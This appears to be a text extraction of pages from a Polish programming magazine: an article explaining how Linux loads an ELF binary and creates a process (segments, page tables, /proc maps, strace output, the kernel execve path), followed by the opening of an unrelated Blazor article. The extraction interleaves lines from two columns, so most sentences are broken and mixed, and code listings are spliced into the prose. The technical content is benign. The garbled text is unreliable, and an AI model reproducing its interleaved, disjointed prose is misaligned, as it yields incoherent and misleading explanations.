GNU_PROPERTY 0x000270 0x0000000000400270 0x0000000000400270 0x000040 0x000040 R 0x8
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x0a9908 0x00000000004aa908 0x00000000004aa908 0x0036f8 0x0036f8 R 0x1

Section to Segment mapping:


Segment Sections...
00 .[Link] .[Link]-id .[Link]-tag .[Link]
01 .init .plt .text __libc_freeres_fn .fini
02 .rodata .[Link] .eh_frame .gcc_except_table
03 .tdata .init_array .fini_array .[Link] .got .[Link] .data
__libc_subfreeres __libc_IO_vtables __libc_atexit .bss __libc_freeres_ptrs
04 .[Link]
05 .[Link]-id .[Link]-tag
06 .tdata .tbss
07 .[Link]
08
09 .tdata .init_array .fini_array .[Link] .got

staci tablicy (Program Header Table), a jej położenie w pliku, ilość miejsca i służyć wyłącznie przekazaniu parametrów do kernela. Przy-
wpisów oraz rozmiar wpisu są odczytywane z nagłówka ELF. Listę kładem jest GNU_STACK, na podstawie którego kernel stwierdza, czy
segmentów programu prog1 zaprezentowano w Listingu 13. stos procesu ma mieć prawa do wykonywania kodu, czy też nie.
Pierwsza kolumna określa typ segmentu. Segmenty, które znaj-
dą się w obrazie procesu, są typu PT_LOAD. W kolumnie VirtAddr
PRZESTRZEŃ ADRESOWA PROCESU
znajdują się adresy wirtualne, pod jakimi segmenty będą dostępne.
PhysAddr nie ma zastosowania, gdy w systemie występuje jednostka Z każdym procesem związana jest wirtualna przestrzeń adresowa.
do zarządzania pamięcią, tj. MMU, czyli właściwie w zdecydowanej Jest to mechanizm pozwalający [Link] na sprzętową separację działają-
większości współczesnych procesorów. FileSiz to rozmiar segmen- cych w systemie procesów; dzięki niemu każdy proces ma wrażenie,
tu w pliku, a MemSiz to jego rozmiar po załadowaniu do pamięci. jakby działał sam, a cała przestrzeń adresowa należała tylko do nie-
W sytuacji kiedy rozmiar w pamięci jest większy od rzeczywistego, go. Z przestrzeni adresowej wydzielone są obszary (zakresy adresów)
dodatkowe miejsce wypełniane jest zerami. Flg określa typ dostę- z nadanymi określonymi prawami dostępu. Niektóre są odzwiercie-
pu do kawałka pamięci. Znaczenie kolumny jest takie samo jak dla dleniem segmentów występujących w plikach obiektowych, inne są
sekcji. Ostatnia kolumna, Align, określa wyrównanie segmentu do odgórnie narzucone przez system operacyjny. Na Rysunku 2 pokaza-
określonej wartości. no, jak może (położenie segmentów jest najczęściej randomizowane
Warto również zwrócić uwagę, jak sekcje zostały pogrupowane z powodu włączonego ASLR1 – Address Space Layout Randomiza-
w segmenty. Na przykład w segmencie oznaczonym numerem 6 zna- tion) wyglądać przestrzeń procesu prog1.
lazły się sekcje .tdata oraz .tbss, które są wykorzystywane przez
TLS (Thread Local Storage). Mechanizm polega na tym, że pomi-
mo tego, że poszczególne wątki mają wspólną przestrzeń adresową, 1.  Technika utrudniająca przeprowadzenie ataków, w których wymagana jest dokładna znajomość
adresu fragmentu programu w pamięci. Włączone ASLR sprawia, że system operacyjny randomizuje
to mogą mieć swoje prywatne dane. Segmenty mogą nie zajmować przestrzeń adresową nowego procesu, np. położenie poszczególnych segmentów.

{  [Link]  } <27>
PROGRAMOWANIE SYSTEMOWE

Proces najczęściej potrzebuje zaledwie fragmentu dostępnej pamięci


fizycznej. Informacje o używanych adresach, a właściwie stronach, do
których adresy należą, są przechowywane w tablicy stron. W rzeczy-
wistości nie jest to pojedyncza tablica, a szereg ze sobą połączonych,
tworzących drzewiastą strukturę.
Bezsprzecznie zaletą takiego rozwiązania jest niemarnowanie
pamięci na przechowywanie nieużywanych wpisów o translacji, jak
miałoby to miejsce w przypadku klasycznej tablicy. Jak tylko pro-
cesor chce uzyskać dostęp do konkretnego adresu, jednostka MMU
wykonuje przeszukiwanie tablicy stron (Page Table Walk) procesu
i finalnie dostęp kończy się na odpowiedniej stronie w pamięci fi-
zycznej. Przykład przechodzenia po poszczególnych tablicach stron
w poszukiwaniu fizycznego adresu zaprezentowano na Rysunku 4.
Każdorazowo po wykonaniu dostępu do nowego adresu znajdu-
jącego się w obrębie strony ta jest zapamiętywana w niewielkiej pa-
mięci cache TLB (Translation Lookaside Buffer), co znacząco przy-
spiesza dostęp w przyszłości. Dodatkowo z każdą stroną związany
jest zestaw atrybutów określających prawa dostępu. Przy ładowaniu
programu system operacyjny przetłumaczy flagi przypisane do po-
szczególnych segmentów na odpowiadające im atrybuty stron.
Rysunek 2. Przestrzeń adresowa procesu
Po wprowadzeniu dodatkowych pojęć wróćmy jeszcze do Listingu 13.
Z każdym procesem nierozłącznie związany jest katalog /proc/<pid>,
Obszar podpisany jako Text będzie zawierał instrukcje, Data dane w którym znajdują się pliki, za pośrednictwem których kernel udo-
zainicjalizowane, a BSS niezainicjalizowane. Heap to miejsce na dyna- stępnia informacje o procesie. Dla nas istotny będzie maps, który za-
micznie zaalokowaną pamięć. Obszar Mapped data będzie zawierał wiera listing zmapowanych regionów pamięci. Skorzystamy z niego,
dane zmapowane przy użyciu funkcji mmap() (man 2 mmap), takie jak żeby przekonać się, że segmenty z Listingu 13 znajdą się w pamięci
biblioteki współdzielone czy regularne pliki. Stack to miejsce prze- pod oczekiwanymi adresami. W Listingu 14 znajduje się zawartość
znaczone na stos programu. maps (wiersz z nazwami kolumn został wprowadzony dla poprawie-
Przestrzeń adresowa każdego procesu dzielona jest zasadniczo nia czytelności).
na dwie części. Jedna jest związana z samym procesem, tzw. prze-
Listing 14. Mapa pamięci prog1
strzeń użytkownika, druga z kernelem. Granicę wyznacza wartość
TASK_SIZE. Takie podejście wydaje się być naturalne, ponieważ rolą $ ./prog1 &
[1] 4538
kernela jest administrowanie systemem i udostępnianie procesom $ cat /proc/4538/maps
usług, np. realizowanie dostępu do peryferiów. Szybkie i efektywne virt addr range perm offset dev inode pathname
00400000-00401000 r--p 00000000 08:01 7741284 /home/test/prog1
ich realizowanie jest osiągalne [Link] poprzez umieszczenie kernela 00401000-00482000 r-xp 00001000 08:01 7741284 /home/test/prog1
00482000-004a9000 r--p 00082000 08:01 7741284 /home/test/prog1
w przestrzeni adresowej każdego procesu. 004aa000-004ae000 r--p 000a9000 08:01 7741284 /home/test/prog1
Wirtualna przestrzeń adresowa jest realizowana przy pomocy 004ae000-004b1000 rw-p 000ad000 08:01 7741284 /home/test/prog1
004b1000-004b2000 rw-p 00000000 00:00 0
wsparcia sprzętowego – jednostki MMU (Memory Management 0079e000-007c0000 rw-p 00000000 00:00 0 [heap]
Unit). W przypadku zarządzania pamięcią operuje się pojęciem stro- 7ffe4ac50000-7ffe4ac73000 rw-p 00000000 00:00 0 [stack]
7ffe4adcf000-7ffe4add3000 r--p 00000000 00:00 0 [vvar]
ny, czyli kawałkiem ciągłej pamięci o określonym rozmiarze (deter- 7ffe4add3000-7ffe4add5000 r-xp 00000000 00:00 0 [vdso]
minowanym przez architekturę procesora), najczęściej wynoszącym ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]

4 KB. Idea działania jest stosunkowo prosta, do jej zrozumienia po-


służy Rysunek 3. Zestawiając adresy pamięci z adresami segmentów, zauważamy, że
w zasadzie pokrywają się z dokładnością do wyrównania do roz-
miaru strony (0x1000 = 4096, czyli 4KB). Zastanawiająca może
być różnica w liczbie zmapowanych segmentów naszego programu
(w pamięci procesu znajduje się jeden dodatkowy, niewystępujący
w pliku obiektowym). Dzieje się tak za sprawą RELRO (Relocation
Read Only), na którego użycie wskazuje segment GNU_RELO. W tele-
graficznym skrócie, RELRO to technika utrudniająca wykonywanie
ataków typu ROP (Return Oriented Programmig) poprzez wydzie-
lenie z segmentu pewnych sekcji (.got, .[Link]) związanych z reloka-
cją i pozbawienie ich praw do zapisu. Zanim przejdziemy dalej, warto
zwrócić uwagę na dodatkowe segmenty. VDSO (Virtual Dynamic Sha-
Rysunek 3. Zasada działania MMU red Object) to biblioteka współdzielona, którą udostępnia kernel, po-

<28> {  3 / 2021 < 97 >  }


/ Jak program staje się procesem /

Rysunek 4. Tłumaczenie adresu wirtualnego na fizyczny

zwalająca na wykonanie wywołań systemowych z kontekstu procesu. nuje swoje instrukcje oddzielnie. fork() do rodzica zwraca PID (Pro-
Jest to możliwe dla wywołań, których zadaniem jest wyłącznie odczy- cess ID) dziecka, podczas gdy proces dziecko widzi wartość 0. Tym
tanie pewnej zmiennej z przestrzeni adresowej kernela. Przykład to sposobem każdy z procesów dowiaduje się o swojej roli.
gettimeofday() (man 3 gettimeofday), która zwraca czas UNIX- Zadaniem execve(), którego prototyp pokazano w Listingu 15,
-owy. vvar (VDSO Variables) to z kolei fragment pamięci zawierają- jest zastąpienie aktualnie wykonywanego programu nowym. Pierw-
cy zmienne, np. timestamp, do których mają dostęp funkcje z vdso. szy argument to ścieżka do programu na dysku. argv[] to tablica
O vsyscall wystarczy w zasadzie wiedzieć tyle, że ma identyczne zawierająca argumenty przekazywane do main(). envp[] to lista
zastosowania, co VDSO, oraz że jest to relikt przeszłości. zmiennych środowiskowych przekazywana do nowego procesu. Listę
Zainteresowanych zawartością /proc odsyłam do manuala (man 5 zmiennych środowiskowych dowolnego procesu można podejrzeć,
proc). wyświetlając zawartość /proc/<pid>/environ.

Listing 15. Prototyp funkcji execve()


ŁADOWANIE PROGRAMU DO PAMIĘCI int execve(const char *pathname, char *const argv[], char *const envp[]);

Tradycyjnie ładowanie programu do pamięci rozpoczyna się od uru-


chomienia procesu, który następnie wywoła fork() (man 2 fork), żeby W zrozumienie cyklu życia procesu z perspektywy wywołań syste-
ostatecznie użyć jednego z wariantów funkcji exec (man 3 exec), np. mowych pomaga strace2. W Listingu 16 znajduje się rezultat działa-
execve() (man 2 execve). Proces, który wywołał fork(), jest nazy- nia. Do strace można dodatkowo przekazać opcję -v, co spowoduje
wany rodzicem, a nowo utworzony proces jest nazywany dzieckiem.
Dziecko otrzymuje kompletną kopię przestrzeni adresowej rodzica
2. Do śledzenia wywołań systemowych program strace używa wywołania systemowego ptrace
oraz jego stanu, tj. zmiennych, rejestrów itd. i od tego momentu wyko- (man ptrace).

Listing 16. Wywołania systemowe podczas uruchamiania prog1

$ strace ./prog1
execve("./prog1", ["./prog1"], 0x7fff700f5300 /* 72 vars */) = 0
arch_prctl(0x3001 /* ARCH_??? */, 0x7ffe4ac70000) = -1 EINVAL (Invalid argument)
brk(NULL) = 0x79e000
brk(0x79ed80) = 0x79ed80
arch_prctl(ARCH_SET_FS, 0x79e380) = 0
uname({sysname="Linux", nodename="arch", ...}) = 0
readlink("/proc/self/exe", "/home/tdu/workspace/test/prog1", 4096) = 30
brk(0x7bfd80) = 0x7bfd80
brk(0x7c0000) = 0x7c0000
mprotect(0x4aa000, 16384, PROT_READ) = 0
newfstatat(0, "", {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}, AT_EMPTY_PATH) = 0
read(0,
"\n", 1024) = 1
exit_group(10) = ?
+++ exited with 10 +++

{  [Link]  } <29>
PROGRAMOWANIE SYSTEMOWE

wyświetlenie kompletnej listy zmiennych środowiskowych zamiast do exec_binprm(), gdzie wyszukiwany jest komponent ładujący
komunikatu o ich całkowitej liczbie, tj. /* vars 72 */. binarkę (search_binary_handler()), przy okazji dbając, by ilość
Co ciekawe, w Listingu 16 nie pojawia się fork(). Wytłumaczenia zagnieżdżeń tych loaderów była ograniczona. Jeśli byłoby inaczej, to
tego są dwa. Po pierwsze, fork() nie jest wywołaniem systemowym, wykonanie skryptu o nazwie [Link] składającego się wyłącznie z li-
a de facto wrapperem pochodzącym z biblioteki glibc na wywołanie nii #!./[Link] zapewne zawiesiłoby system, a tak zostanie wyświe-
clone() (man 2 clone). clone() również nie znajduje się w listin- tlony komunikat bash: ./[Link]: ./[Link]: bad interpreter:
gu, ponieważ nie można śledzić procesu, który nie istnieje. execve() Too many levels of symbolic links.
natomiast jest wywoływany przez śledzony proces potomny, dlatego Dostępne komponenty ładujące pokazano w Listingu 17.
pojawia się na liście wywołań. brk(NULL) oraz brk(0x230ed80) są
Listing 17. Dostępne loadery
związane z dynamiczną alokacją pamięci. Pierwsze wywołanie zwra-
ca adres początku sterty, kolejne zmienia tę wartość, tym samym alo- $ cd fs; ls binfmt_*
binfmt_aout.c binfmt_elf.c binfmt_elf_fdpic.c binfmt_em86.c
kując pamięć. binfmt_flat.c binfmt_misc.c binfmt_script.c
arch_prtcl() (man 2 arch_prctl) wpisuje do segmentu FS ad-
res miejsca w pamięci, gdzie znajduje się obszar prywatny dla wątku Proces ładowania prog1 rozpoczyna się w funkcji load_elf_bina-
(TLS). Dla każdego wątku wartość jest ustawiana oddzielnie. Wywo- ry() (fs/binfmt_elf.c) po rozpoznaniu sygnatury pliku i wykonaniu
łanie uname() (man 2 uname) służy do pobrania informacji o syste- kilku dodatkowych sprawdzeń [Link] architektury procesora. Kolejnym
mie. Dalej biblioteka standardowa odczytuje ścieżkę do pliku wyko- krokiem jest skopiowanie (load_elf_phdrs()) do tymczasowego
nywalnego na swoje wewnętrzne potrzeby przy pomocy readlink() bufora nagłówków programu i ich przeglądanie w poszukiwaniu na-
(man 2 readlink). Kolejne dwa wywołania to powiększenie miejsca główków typu PT_GNU_PROPERTY lub PT_INTERP. PT_GNU_PROPERTY
na stertę. Ciekawe jest wywołanie mprotect() (man 3 mprotect). jest tworzony przez linker na potrzeby sekcji .[Link].
Zmiana atrybutów części przestrzeni adresowej, w tym wypadku Ta sekcja zawiera listę akcji do wykonania przed załadowaniem pro-
ustawienie praw tylko do odczytu, jest związana ze wspomnianym gramu. Przykładem może być uruchomienie CET4 (Control-Flow
wcześniej mechanizmem RELRO. Zakres chroniony przed zapisem Enforcement Technology) na procesorze Intel. CET zabezpiecza
to adresy od 0x4aa000 do 0x4adfff włącznie, a .data rozpoczyna przed atakami związanymi z przepływem sterowania, tj. ROP (Re-
się dopiero od 0x4ae0e0. Wywołanie nie nastąpi, jeśli do komendy turn Oriented Programming), JOP (Jump Oriented Programming)
kompilacji dodamy -Wl,-z,norelro. Ostatecznie program czeka na oraz COP (Call Oriented Programming). Natomiast PT_INTERP
dowolny znak ze standardowego wejścia i kończy swoje działanie. zawiera ścieżkę do interpretera lub dynamicznego linkera ([Link]
Kilka wywołań systemowych pozwala na wysokopoziomowe w przypadku Linuksa). W naszym przypadku ani jedno, ani drugie
spojrzenie na cykl życia programu. W rzeczywistości dzieje się jed- nie ma zastosowania. Analizę fragmentów kodu związanych z inter-
nak znacznie więcej. preterem pomijamy.
Wywołanie execve() powoduje przełączenie w kontekst kernela Dalej kolejny raz następuje przeglądanie listy nagłówków, tym
i rozpoczęcie wykonywania domyślnej funkcji obsługującej wywoła- razem pod kątem obecności PT_GNU_STACK, a także tych z typem
nia systemowe, tj. entry_SYSCALL_64 (arch/x86/entry/entry_64.S). należącym do przedziału od PT_LOPROC do PT_HIPROC włącznie. Ten
Z niej następuje skok do do_syscall_64() (arch/x86/entry/com- pierwszy służy do ustawienia możliwości wykonywania instrukcji ze
mon.c), która z wszystkich dostępnych handlerów wybiera ten przy- stosu. Reszta w teorii zawiera dane specyficzne dla danego procesora,
pisany do execve(), tj. do_execve() (fs/exec.c). Skąd kernel wie, w praktyce segmenty z zakresu są pomijane.
który wywołać? Każde wywołanie systemowe ma przypisany numer. Kolejny ważny przystanek na drodze do utworzenia procesu to
Dla x86-64 lista dostępnych znajduje się w pliku arch/x86/entry/sy- begin_new_exec() (fs/exec.c). Tutaj przebiega proces czyszczenia
scalls/syscall_64.tbl. Przygotowanie do wywołania polega na wpisaniu stanu odziedziczonego po rodzicu. Rozpoczynamy od wyznaczenia
wybranego numeru do rejestru RAX, w naszym przypadku jest to 59. kontekstu (bprm_creds_from_file()). Wpływa to na przywileje
Kolejne 3 argumenty trafiają do rejestrów odpowiednio RDI, RSI procesu, tj. dostęp do plików na dysku, urządzeń itp. Następnie zabi-
oraz RDX3. Po tym następuje wywołanie instrukcji syscall, powo- jane są wszystkie działające wątki (de_thread()) i aktywność zwią-
dując przejście przez portal i miękkie lądowanie w opisanym wcze- zana z io_uring, czyli frameworkiem odpowiedzialnym za szybkie
śniej entry_SYSCALL_64. Ostatecznie z do_execve() skaczemy do asynchroniczne operacje I/O, gdzie operacje I/O wciąż są po stronie
do_execveat_common(), gdzie rozpoczyna się przygotowanie obrazu kernela, a nie oprogramowania w przestrzeni użytkownika, jak ma
procesu. to miejsce np. w SPDK (Storage Performance Development Kit).
Tutaj główne zadanie polega na utworzeniu oraz wstępnym wy- Usuwane są wszelkie dane dotyczące odziedziczonych deskryptorów
pełnieniu struktury struct linux_binprm reprezentującej binar- plików (unshare_files()), a następnie podmienia jest zawartość
kę ładowaną do pamięci. Bez względu na to, czy jest to skrypt, plik /proc/<process id>/exe na nazwę naszego programu (set_mm_exe_
wykonywalny czy bytecode. Następnie przechodzimy do bprm_ex- file()). Wcześniej zmapowane obszary pamięci są usuwane (exec_
ecve(), w której otwierany jest plik zawierający prog1 i przygotowy- mmap()). Jeśli w danym procesie działają jakieś POSIX-owe timery
wany jest wstępny kontekst dla procesu (struct cred) na podstawie (timery nigdy nie są dziedziczone), to zostają dezaktywowane, po
kontekstu procesu wołającego execve(). Dalej kernel przechodzi czym usunięte, o ile w kernel została wkompilowana ich obsługa.

4.  Jest to świeży dodatek do Linuksa, więcej informacji można znaleźć pod adresem: [Link]
3.  Konwencje wywołań są opisane w dokumencie „System V AMD64 ABI”. lkml/2021/5/21/1208.

<30> {  3 / 2021 < 97 >  }


/ Jak program staje się procesem /

Opcjonalne wsparcie dla timerów POSIX-owych jest podyktowane (man 3 getauxval), lub też można ustawić zmienną środowiskową
tym, że niektóre systemy wbudowane mogą mieć dostęp do innych LD_SHOW_AUXV=1. Konsumentem tych informacji jest [Link] (dyna-
funkcji pobierania czasu, dlatego zamiast duplikować funkcjonalność miczny linker i loader). Gdy jest używany, kernel konstruuje obraz
sensowne może okazać się zmniejszenie rozmiaru kernela. Jeśli pro- procesu, ładując do pamięci zawartość ELF, a także program wspo-
ces odziedziczył tablicę handlerów sygnałów, to jest tworzona nowa magający ładowanie wszelkich bibliotek współdzielonych, od których
(unshare_sighand()). W przeciwnym wypadku zmiana propago- proces zależy. Na tym etapie [Link] będzie potrzebował dodatkowych
wałaby się do odrębnego procesu, co byłoby wyjątkowo uciążliwe, informacji, na przykład adresu, gdzie znajduje się pierwsza instrukcja.
a przede wszystkich niezgodne ze sztuką. Dalej zostaje wyłączo- Te dane kernel przekazuje za pośrednictwem auxv.
ne sprawdzanie adresów przekazywanych z przestrzeni użytkow- Nie ma to zastosowania w przypadku prog1, natomiast w Listin-
nika do kernela (każdy, kto potrzebował odczytać plik z dysku np. gu 18 pokazano przykładową zawartość wektora dla whoami.
w kodzie sterownika, pewnie miał okazję się spotkać z ezoterycznym
Listing 18. auxv dla programu whoami
set_fs()). Domyślnie jest to zabronione, gdyż aplikacja mogłaby
np. poprosić o odczytanie lub zapisanie kawałka pamięci kernela. $ LD_SHOW_AUXV=1 whoami
AT_SYSINFO_EHDR: 0x7ffec91d7000
W exec() natomiast może zajść potrzeba przeczytania czegoś z dys- AT_HWCAP: b7ebfbff
ku, posługując się funkcjami z warstwy VFS (Virtual File System), AT_PAGESZ: 4096
AT_CLKTCK: 100
która normalnie nie pozwala na takie użycie. Obecnie trwają prace AT_PHDR: 0x55ca8667b040
AT_PHENT: 56
nad usunięciem tego mechanizmu z krajobrazu kernela. Dalej od- AT_PHNUM: 11
bywa się czyszczenie TLS (flush_thread()) i ustawienie domyśl- AT_BASE: 0x7f983bd7d000
AT_FLAGS: 0x0
nych flag dla procesu. Przyszedł czas na ustawienie nazwy procesu AT_ENTRY: 0x55ca8667d1c0
(__set_task_comm()), którą można odczytać w /proc/<pid>/comm, AT_UID: 1000
AT_EUID: 1000
oraz wygenerowanie zdarzenia perf informującego o nowo powsta- AT_GID: 985
łym procesie. Jeszcze tylko usuwamy zainstalowane handlery sygna- AT_EGID: 985
AT_SECURE: 0
łów (flush_signals_handlers()) (jeśli takie były) i ustawiamy AT_RANDOM: 0x7ffec915fe59
kontekst procesu (commit_creds()). AT_HWCAP2: 0x0
AT_EXECFN: /usr/bin/whoami
Teraz można przystąpić do przygotowania przestrzeni adresowej AT_PLATFORM: x86_64
nowego procesu i wypełnienie jej segmentami z ładowanego pliku.
Ale zanim to nastąpi, położenie obszarów pamięci przeznaczonych Na tym właściwie kończy się przygotowanie programu do startu.
na stos (setup_arg_pages()), stertę czy obszar dla mmap() (set- Ostatnim krokiem, jaki należy wykonać, jest START_THREAD(). Ma-
up_new_exec()) jest randomizowane. Ta funkcjonalność nazywa się kro ustawi adres pierwszej instrukcji oraz miejsce, gdzie znajduje się
ASLR (Address Space Layout Randomization) i służy polepszeniu stos. Po tym nastąpi powrót do przestrzeni użytkownika i rozpocznie
bezpieczeństwa poprzez dodatkową ochronę przed atakami typu ROP. się wykonanie instrukcji programu.
Następnie kernel przechodzi przez wszystkie segmenty typu PT_LOAD
i umieszcza je w przestrzeni adresowej procesu (elf_map()). Dalej
ZAKOŃCZENIE
ustawiany jest tzw. program break (set_brk()), czyli miejsce, które
wyznacza koniec segmentu z niezainicjalizowanymi danymi. Kolejna Rekruterzy, i to tacy wyjątkowo złośliwi, czasami zadają pozornie
rzecz to dodanie do przestrzeni adresowej VDSO (ARCH_SETUP_AD- niewinne pytanie brzmiące mniej więcej tak: jak to się dzieje, że prze-
DITIONAL_PAGES()) oraz uzupełnienie stosu procesu dodatkowymi glądarka internetowa pobiera treści z odległego serwera? Niby oczy-
informacjami, tj. auxv (Auxilary Vector) (create_elf_tables()). wiste pytanie, w praktyce jednak tylko nieliczni są w stanie przejść tę
Kernel w ten sposób przekazuje do procesu dodatkowe informacje. ścieżkę zdrowia o własnych siłach. Miejmy nadzieję, że do kanonu
Proces może je pobrać, używając na przykład funkcji getauxval() złośliwych pytań nie trafi tytuł artykułu.

Bibliografia
1. How to write shared libraries – U. Drepper – [Link]
2. Executable and Linking Format (ELF) Specification – [Link]
3. Linkers and Loaders – J. Levine
4. Linux Kernel sources – [Link]

TOMASZ DUSZYŃSKI
Programista systemów wbudowanych. Zawodowo zajmuje się tworzeniem sterowników kart sieciowych dla systemu Linux.

{  [Link]  } <31>
PROGRAMOWANIE APLIKACJI WEBOWYCH

Blazor jako nowoczesny [Link] Web Forms


Rozpoczynanie nowego projektu to marzenie wielu programistów. Projekt można lepiej zapla-
nować, ustrukturyzować, dobrać odpowiednie technologie i biblioteki. Można w końcu wyko-
rzystać nowoczesne wzorce projektowe i architekturę aplikacji, o których czytamy i słuchamy
na konferencjach. Taki właśnie „Hit refresh” zaoferował Microsoft programistom [Link]
Web Forms, dostarczając Blazor, który opiszę w tym artykule.

WPROWADZENIE Listing 1. Przykładowa zawartość pliku _Host.cshtml

<html>
[Link] Web Forms jako technologia zapoczątkowana w 2002 roku <head>
@* ... *@
powinna już dawno odejść w zapomnienie. Jednak dobra dostępność </head>
dokumentacji, stabilność i przewidywalność tego frameworka spra- <body>
<component type="typeof(App)" render-mode="ServerPrerendered" />
wia, że ok. 500 tys. programistów nadal korzysta z tego narzędzia.
<div id="blazor-error-ui">
Z drugiej strony, developerzy, którzy wychowali się na techno-
<environment include="Staging,Production">
logiach Microsoftu i podążali za kolejnymi frameworkami, w natu- @* ... *@
</environment>
ralny sposób zapoznali się z [Link] MVC, [Link] Core, a teraz </div>
z .NET 5 i pukającą do drzwi platformą .NET 6. Jednak dla osób,
@* ... *@
które dopiero zaczynają swoją przygodę programistyczną, poznanie </body>
</html>
frameworka MVC może być pewną przeszkodą. Najpierw trzeba zro-
zumieć, jaka jest rola kontrolera, a dopiero potem można wyświetlić
stronę HTML. Wobec tego trudno jest przekonać się co do zasadno- Blazor, analogicznie jak [Link] MVC i Razor Pages, wykorzystuje
ści MVC w przypadku mniej skomplikowanych aplikacji. składnię Razor do renderowania elementów dynamicznych. Jej wy-
Aby ułatwić naukę i programowanie aplikacji webowych, Micro- korzystanie jest tutaj takie samo jak we wspomnianych framewor-
soft dostarcza Razor Pages. Ten framework aplikacji jest sugerowa- kach. Dodatkowo komponenty Blazor mogą zawierać kod C# ob-
nym podejściem w przypadku nowych aplikacji webowych. Razor sługujący interakcje. Nie ma tutaj formalnego rozdzielenia widoku
Pages jest zorientowany na strony/widoki i pomija kontroler. Logikę i logiki. Wszystko można trzymać w jednym pliku. Jednak w dużych
umieszczamy w skojarzonym modelu, wraz z właściwościami, które komponentach kod C# można przenieść do osobnego pliku.
można „podbindować” do widoku. W tym miejscu warto jeszcze zwrócić uwagę, jak wygląda kom-
Wszystkie te frameworki (Web Forms, MVC i Razor Pages) ba- ponent [Link] (Listing 2). W domyślnym przypadku bazuje on na
zują na modelu żądanie-odpowiedź. Z tego powodu wymagają ren- innym komponencie (Router), który w Blazor obsługuje nawigację
derowania całych widoków. Aby tego uniknąć, trzeba korzystać z Ja- pomiędzy stronami. W Blazor stronami są komponenty uzupełnione
vaScript. W praktyce więc bardzo często implementujemy Web API o dyrektywę @page, w której umieszczamy informacje o trasie. O tym
w [Link] Core/.NET 5 i korzystamy z frameworków Single Page jednak za chwilę.
Application (Angular, React, Vue). Wymaga to jednak połączenia
Listing 2. Domyślna postać komponentu App
umiejętności backendowych i frontendowych. Czasem chcielibyśmy
lub potrzebujemy napisać interaktywną aplikację webową w C# i zro- <Router AppAssembly="@typeof(Program).Assembly"
PreferExactMatches="@true">
bić to przy minimalnym nakładzie pracy. W odpowiedzi na tę lukę <Found Context="routeData">
Microsoft zaproponował Blazor, który szybko zyskuje popularność, <AuthorizeRouteView RouteData="@routeData"
DefaultLayout="@typeof(MainLayout)" />
umożliwiając nam programowanie kompletnych, interaktywnych </Found>
<NotFound>
aplikacji w C#. Dodatkowo Blazor pozwala nam wykorzystywać <LayoutView Layout="@typeof(MainLayout)">
wzorce projektowe i dobre praktyki, czego nie można niestety powie- <p>Sorry, there’s nothing at this address.</p>
</LayoutView>
dzieć o [Link] WebForms. </NotFound>
</Router>

ARCHITEKTURA
W Listingu 2 widzimy, że komponent App korzysta też z MainLayout.
Z architektonicznego punktu widzenia aplikacje Blazor zawierają co Formalnie jest to specjalny komponent, który dziedziczy po Layout-
najmniej jeden komponent, zadeklarowany w kodzie HTML. W sza- ComponentBase i pozwala nam zdefiniować szablon stron (Listing 3).
blonach projektów Blazor, dostarczanych wraz z Visual Studio, mamy Tego typu komponenty można porównać do Master Pages w [Link]
jeden komponent główny, App (plik _Host.cshtml, Listing 1). Web Forms lub domyślnego szalonu _Layout.cshtml w [Link] MVC.

<32> {  3 / 2021 < 97 >  }


/ Blazor jako nowoczesny [Link] Web Forms /

Listing 3. Komponent MainLayout


i porównuje ją z poprzednią. W efekcie uzyskuje obiekt UI diff, na
@inherits LayoutComponentBase podstawie którego aktualizuje odpowiednie elementy z drzewa DOM
<div class="page"> (Rysunek 1).
<div class="sidebar"> Warto wspomnieć, że mamy też możliwość wymuszenia rendero-
<NavMenu />
</div> wania komponentu. Służy do tego metoda StateHasChanged.
<div class="main">
<div class="top-row px-4 auth">
<LoginDisplay />
<About />
</div>

<div class="content px-4">


@Body
</div>
</div>
</div>

Reasumując, Blazor promuje strukturę aplikacji opartą o komponen-


ty wielokrotnego użytku. Komponenty stają się stronami po dodaniu Rysunek 1. Schemat działania Blazor
dyrektywy @page.

JAK DZIAŁA BLAZOR? MODELE HOSTOWANIA


Komponenty Blazor pracują w modelu zdarzeniowym. Przechowują Aplikacje Blazor mogą być hostowane w pełni po stronie klien-
swój stan i implementują logikę obsługującą cykl życia komponen- ta (client-side) w oparciu o WebAssembly lub po stronie serwera
tów oraz wszelkie akcje wyzwolone przez użytkownika. Bardzo czę- (server-side) w oparciu o [Link] Core/.NET 5. Co to oznacza?
sto obsługa tej interakcji wiąże się z koniecznością zaktualizowania W pierwszym przypadku kod aplikacji jest uruchamiany w prze-
drzewa DOM (np. wyświetlenie dodatkowych kontrolek, komunika- glądarce z wykorzystaniem środowiska uruchomieniowego .NET
tów itp.). Z tego powodu Blazor wykorzystuje tak zwany RenderTree. w postaci WebAssembly. Istotne jest to, że nie musimy posiadać
Jest to reprezentacja drzewa DOM, zapisana w pamięci. Po obsłudze żadnych dodatkowych pluginów (aczkolwiek WebAssembly może
zdarzenia Blazor wewnętrznie tworzy nową instancję RenderTree wymagać nowszej wersji przeglądarki). Cały kod jest pobierany do

/* REKLAMA */

{  [Link]  } <33>
PROGRAMOWANIE APLIKACJI WEBOWYCH

klienta przy pierwszym uruchomieniu. Z tego powodu możemy za- private Person person;
obserwować dodatkowe opóźnienia. Zaletą jest to, że możemy wdra- protected override async Task OnInitializedAsync()
{
żać aplikację w postaci statycznej, np. do GitHub Pages albo Azure
PersonId = PersonId ?? "0";
Static Website Hosting. person = await [Link](PersonId);
}
W drugim przypadku komponenty Blazor są renderowane po
stronie klienta i komunikują się z częścią działającą na serwerze po-
przez SignalR. Ta część „serwerowa” działa w ramach aplikacji ASP. Mając pobrane dane, wykorzystuję wiązanie danych, aby wyświetlić
NET Core. Model ten zmniejsza wymagania po stronie klienta, jed- właściwości instancji klasy Person, np.:
nak nie daje możliwości pełnego wykorzystania zasobów sprzęto-
<dt>First name:</dt>
wych po stronie klienta. Nie możemy też wdrażać aplikacji w postaci <dd>@[Link]</dd>
statycznej, a dodatkowym wyzwaniem może być skalowanie, gdyż
serwer musi obsługiwać wiele równoległych połączeń SignalR. Warto dodać, że dostęp do źródła danych realizuję w oparciu o wstrzy-
To, z którego modelu skorzystać, zależy w głównej mierze od po- kiwanie zależności:
trzeb aplikacji. Niemniej jednak, dzięki odpowiedniemu zaplanowa-
@inject IDataRepository<Person> PeopleRepository
niu komponentów mogą one być swobodnie dzielone pomiędzy róż-
nymi modelami hostowania Blazor. Dzięki temu decyzja o modelu
